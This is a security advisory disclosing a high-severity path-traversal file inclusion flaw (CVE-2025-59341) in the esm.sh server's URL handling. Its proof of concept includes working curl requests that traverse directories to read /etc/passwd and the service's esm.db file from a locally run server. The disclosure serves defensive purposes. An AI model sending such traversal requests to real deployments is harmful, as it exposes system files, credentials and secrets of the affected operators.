esm.sh has File Inclusion issue
Date: 2025-09
Affected: go/github.com/esm-dev/esm.sh
Attack vector: path-traversal
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2025-59341
CWE: CWE-23

## Summary A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources). **Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise. **Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks. Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168 --- ## Proof of Concept 1. Using this default config file that I copy from the repo, the server is running at `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json` ```json { "port": 9999, "npmRegistry": "https://registry.npmjs.org/", "npmToken": "******" } ``` 2. Trigger the LFI vulnerability by sending this command below to read a local file ```bash # read /etc/passwd curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1' # or read the database esm.db file curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1' ``` <img width="3338" height="1906" alt="poc-image" src="https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811" /> ---


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Architectural layers (MAESTRO):